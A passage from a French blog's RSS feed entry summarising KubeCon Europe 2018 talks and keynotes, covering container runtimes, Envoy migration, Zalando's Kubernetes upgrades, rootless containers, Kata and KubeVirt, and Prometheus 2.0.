&lt;p&gt;Le CERN utilise la fédération de cluster de Kubernetes, avec en plus l’outil &lt;a class="link" href="https://research.cs.wisc.edu/htcondor/" target="_blank" rel="noopener"
&gt;HTCondor&lt;/a&gt; qui étend l’API de Kubernetes et leur permet de lancer les jobs sur les machines (distantes ou pas) en fonction du job demandé.&lt;/p&gt;
&lt;h3 id="mini-talk-du-vp--chief-open-source-officer-de-vmware"&gt;Mini talk du VP &amp;amp; Chief Open Source Officer de VMware
&lt;/h3&gt;&lt;p&gt;&lt;em&gt;Keynote: From Innovation to Production - Dirk Hohndel, VP &amp;amp; Chief Open Source Officer, VMware&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Au delà du présentation plus que rapide des produits opensource sur lesquels contribue VMware, (Harbor, pivotal, BOSH), Dirk Hohndel a surtout utilisé les 5 minutes qu’il avait pour nous faire remarquer que les gens de l’audience sont en grande majorité des hommes blancs et qu’il y a un vrai problème de mixité dans nos métiers. J’ai regardé autour de moi, difficile de lui donner tort.&lt;/p&gt;
&lt;h2 id="et-les-vraies-conférences-ont-pu-commencer-"&gt;Et les vraies conférences ont pu commencer !
&lt;/h2&gt;&lt;h3 id="pourquoi-y-a-t-il-autant-de-runtimes-"&gt;Pourquoi y a-t-il autant de runtimes ?
&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://schd.ws/hosted_files/kccnceu18/08/What%E2%80%99s%20Up%20With%20All%20the%20Container%20Runtimes.pdf" target="_blank" rel="noopener"
&gt;&lt;em&gt;Whats Up With All The Different Container Runtimes? - Ricardo Aravena, Branch Metrics&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Ricardo Aravena a brossé un tableau de l’évolution des containers runtimes sous Linux, puis a listé leurs avantages et leurs inconvénients. Un talk plutôt sympa en mode comparaisons et Pros/Cons sur les différents runtimes du marché.&lt;/p&gt;
&lt;h3 id="créer-et-gérer-une-communauté-open-source"&gt;Créer et gérer une communauté open source
&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://schd.ws/hosted_files/kccnceu18/28/Building%20an%20Open%20Source%20Community%20-%20KubeCon%202018%20-%20Final.pptx" target="_blank" rel="noopener"
&gt;&lt;em&gt;Building an Open Source Community to Achieve Innovation-Through-Openness - Jonas Rosland, {code}&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Un talk « non technique » auquel j’avais vraiment envie d’aller. J’avais été assez surpris de remarquer l’ouverture de Dell EMC en 2015 avec l’équipe {code}, alors forcément, un REX sur comment gérer une communauté open source et le erreurs qui ont pu être faites m’intéressait forcément.&lt;/p&gt;
&lt;p&gt;Au final, le talk, même s’il est resté très haut niveau, a donné de bons conseils (planification de la roadmap, transparences, SIGs, focus sur les individus plus que les projets) et des ressources complémentaires (opensource.com guides, codeofconducts), qui n’existaient pas à l’époque où {code} s’est mise en place.&lt;/p&gt;
&lt;h3 id="rex-de-turbine-labs-a-propos-de-leur-migration-de-nginx-vers-envoy"&gt;REX de Turbine labs a propos de leur migration de nginx vers envoy
&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://schd.ws/hosted_files/kccnceu18/a6/Turbine%20Labs_Move%20to%20Envoy%20Deck_V2.pdf" target="_blank" rel="noopener"
&gt;&lt;em&gt;Replacing NGINX with Envoy in a Traffic Control System - Mark McBride, Turbine Labs, Inc&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Le CEO de Turbine Labs nous a fait un REX sur un changement majeur qu’ils ont eu à réaliser sur leur produit : le changement de &lt;strong&gt;nginx&lt;/strong&gt; (limité pour leurs besoins spécifiques) pour &lt;strong&gt;Envoy&lt;/strong&gt;. Ce changement impliquait (1) d’écrire une partie des features manquantes dans Envoy (extensions maisons spécifiques à Turbine Labs pour leurs besoins propres) et la façon la plus progressives de migrer ce composant central dans leur architecture.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://blog.zwindler.fr/2018/05/20180502_141232-2.avif"
loading="lazy"
&gt;&lt;/p&gt;
&lt;p&gt;Si le talk était intéressant en soit (et permet d’avoir un premier aperçu de Envoy), c’était aussi l’occasion de se poser les bonnes questions pour tout migration, qu’elle qu’elle soit.&lt;/p&gt;
&lt;h3 id="rex-zalando-la-mise-à-jour-des-clusters-kubernetes"&gt;REX Zalando, la mise à jour des clusters Kubernetes
&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://schd.ws/hosted_files/kccnceu18/18/2018-05-02%20Continuously%20Deliver%20your%20Kubernetes%20Infrastructure%20-%20KubeCon%202018%20Copenhagen.pdf" target="_blank" rel="noopener"
&gt;&lt;em&gt;Continuously Deliver your Kubernetes Infrastructure - Mikkel Larsen, Zalando SE&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Le site de e-commerce Zalando est quelque chose d’assez énorme. On ne s’en rend pas forcément compte, mais ce sont des dizaines de clusters Kubernetes qui sont nécessaires pour gérer la partie développement des nouvelles applications.&lt;/p&gt;
&lt;p&gt;Zalando est connue comme faisant partie des sociétés qui communiquent beaucoup sur leurs (bonnes) pratiques en terme d’IT. D’ailleurs l’amphi était plein à craquer :&lt;/p&gt;
&lt;p&gt;&lt;img src="https://blog.zwindler.fr/2018/05/20180502_144136_HDR.avif"
loading="lazy"
&gt;&lt;/p&gt;
&lt;p&gt;Mikkel Larsen n’y a pas coupé et nous a méthodiquement expliqué pas à pas tout ce qui était mis en place pour assurer (1) des mises à jours des clusters Kubernetes complètement transparentes et quasi automatiques, et (2) des test ends to ends complet permettant de repérer des régressions mêmes subtiles.&lt;/p&gt;
&lt;p&gt;Côté technique, Zalando travaille sur AWS, sur plusieurs availability zones, avec des Stack Cloud Formations, 1 seule AMI pour toutes les VMs, des clusters etcd externalisés des nœuds Kubernetes (rendant les masters stateless, et donc plus facile à mettre à jour), &amp;hellip;&lt;/p&gt;
&lt;h3 id="the-route-to-rootless-container"&gt;The Route to rootless container
&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://schd.ws/hosted_files/kccnceu18/08/route_to_rootless_slides.pdf" target="_blank" rel="noopener"
&gt;&lt;em&gt;The Route To Rootless Containers - Ed King, Pivotal &amp;amp; Julz Friedman, IBM&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Je ne vais pas le cacher, je suis allé pour le titre de la conf et je n’ai pas été déçus côté clins d’œils / memes (ni par le contenu, mais c’est toujours plus agréables quand les speakers sont bons).&lt;/p&gt;
&lt;p&gt;Si Ed King et Julz Friedman ont commencé par dire qu’ils étaient contents qu’autant de gens soient présents pour un « sujet aussi basique », le talk n’était clairement pas à destination de débutants !&lt;/p&gt;
&lt;p&gt;Point par point, ils ont expliqué quels technologies et couches de sécurités étaient disponibles, contre quoi elle protégeaient et ne protégeaient pas. Dans une seconde partie, ils ont ensuite expliqués comment réussir à faire fonctionner des containers exécutés côté hôte par un utilisateurs non privilégié mais privilégié au sein du container. Mais surtout, pourquoi ça fonctionne et pourquoi ça n’était pas grave.&lt;/p&gt;
&lt;p&gt;Une vraie surprise car j’avais mal compris la conf (je pensais qu’on allait expliquer comment faire pour que les applications ne soient pas root DANS le container).&lt;/p&gt;
&lt;h3 id="améliorer-la-sécurité-des-workloads-kubernetes-avec-la-virtualisation-matérielle"&gt;Améliorer la sécurité des workloads Kubernetes avec la virtualisation matérielle
&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://schd.ws/hosted_files/kccnceu18/9f/2018-03%20KubeCon%20EU%20-%20Improving%20your%20Kubernetes%20Workload%20Security%20with%20Hardware%20Virtualization.pdf" target="_blank" rel="noopener"
&gt;&lt;em&gt;Improving your Kubernetes Workload Security with Hardware Virtualization - Fabian Deutsch, Red Hat &amp;amp; Samuel Ortiz, Intel&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Une conf’ amusante où deux projets dont le but est de faire tourner des workloads Kubernetes dans des machines virtuelles (Kata et KubeVirt), &lt;em&gt;soit disant non concurrents,&lt;/em&gt; ont été présentés en même temps.&lt;/p&gt;
&lt;p&gt;La subtilité, selon eux, c’est que :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Kata containers est plutôt à destination des personnes qui souhaitent :
&lt;ul&gt;
&lt;li&gt;ajouter une couche de sécurité/ségrégation supplémentaire à la conteneurisation simple en ajoutant l’isolation via la virtualisation matérielle&lt;/li&gt;
&lt;li&gt;utiliser des kernels différents pour des containers différents sur un même groupe d’hôtes Kubernetes&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Kubevirt permet l’adoption plus rapide de Kubernetes en permettant l’ajout des workload de type legacy « non containerisables » dans un cluster Kubernetes. Ces workloads deviennent des Pods qui tournent dans Kubernetes, ce qui a l’immense avantage d’ajouter toutes les fonctionnalités de Kubernetes sur les Pods, mais aussi la gestion de réseau et du stockage.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A vous de me dire si vous êtes convaincus qu’il faut absolument 2 projets ;-).&lt;/p&gt;
&lt;h2 id="et-vous-reprendrez-bien-quelques-keynotes"&gt;Et vous reprendrez bien quelques keynotes
&lt;/h2&gt;&lt;h3 id="anatomy-of-a-production-kubernetes-outage"&gt;Anatomy of a Production Kubernetes Outage
&lt;/h3&gt;&lt;p&gt;&lt;em&gt;Keynote: Anatomy of a Production Kubernetes Outage - Oliver Beattie, Head of Engineering, Monzo Bank&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Un postmortem d’un incident qui a bloqué la prod d’une banque « digital native ». Très bien présenté et d’autant plus intéressant que les « erreurs » qui ont été faites tendent plus de la malchance et de fausses bonnes idées que de l’erreur a proprement parler; il était très facile de m’imaginer à la place des équipes qui ont géré cet incident.&lt;/p&gt;
&lt;h3 id="container-native-dev-and-ops-experience"&gt;Container Native Dev and ops Experience
&lt;/h3&gt;&lt;p&gt;&lt;em&gt;Keynote: Container-Native Dev-and-ops Experience: It’s Getting Easier, Fast. - Ralph Squillace, Principal PM – Azure Container Platform, Microsoft&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Je ne vais pas mentir, je suis un peu passé à côté de cette keynote. Ralph Squillace nous a fait une démo en live de code qui se déploie, se débugue et tourne sur Kubernetes pour nous prouver à quel point c’est simple. Moui, ok.&lt;/p&gt;
&lt;p&gt;Au delà de ça, j’ai surtout remarqué que son PC était sous Ubuntu. Venant de quelqu’un qui bosse chez Microsoft (même si c’est une team Kubernetes), c’est quand même quelque chose qui aurait été impensable il y a quelques années ;-p&lt;/p&gt;
&lt;p&gt;&lt;img src="https://blog.zwindler.fr/2021/tweet_kubecon_2018.avif"
loading="lazy"
&gt;&lt;/p&gt;
&lt;h3 id="cloud-native-observability--security"&gt;Cloud native observability &amp;amp; security
&lt;/h3&gt;&lt;p&gt;&lt;em&gt;Keynote: CNCF End User Awards - Presented by Chris Aniszczyk, COO, Cloud Native Computing Foundation&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Un résumé des annonces faites aujourd’hui par Google à l’occasion de la Kubecon.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;gVisor, un système révolutionnaire qui va résoudre tous les pb de sécurité des containers&lt;/li&gt;
&lt;li&gt;stackdriver, un outil de monitoring (observability) génial, qui rendre nos vies géniales&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Peut être que le format était mal choisi, mais je suis extrêmement sceptique et je vais attendre d’en savoir plus ;)&lt;/p&gt;
&lt;h3 id="prometheus-20"&gt;Prometheus 2.0
&lt;/h3&gt;&lt;p&gt;&lt;em&gt;Keynote: Prometheus 2.0 – The Next Scale of Cloud Native Monitoring - Fabian Reinartz, Software Engineer, Google&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Une tonne de slides pour nous brosser l’historique de Prometheus dans un premier temps, puis nous expliquer qu’un gros problème est arrivé, la TSDB de Prometheus était trop lente sur de très gros workloads. Déluge de slides pour nous montrer à quel point Prometheus 2 est bien meilleur.&lt;/p&gt;
&lt;p&gt;Maintenant c’est mieux.&lt;/p&gt;
&lt;h2 id="et-demain-"&gt;Et demain ?
&lt;/h2&gt;&lt;p&gt;Et bien demain rebelote (enfin si je poste pas très vite, on va déjà être demain&amp;hellip;).&lt;/p&gt;
&lt;p&gt;Si ça vous intéresse, vous pouvez suivre les confs que je vais voir sur &lt;a class="link" href="https://kccnceu18.sched.com/d.germain" target="_blank" rel="noopener"
&gt;kccnceu18.sched.com/d.germain&lt;/a&gt;.&lt;/p&gt;</description></item></channel></rss>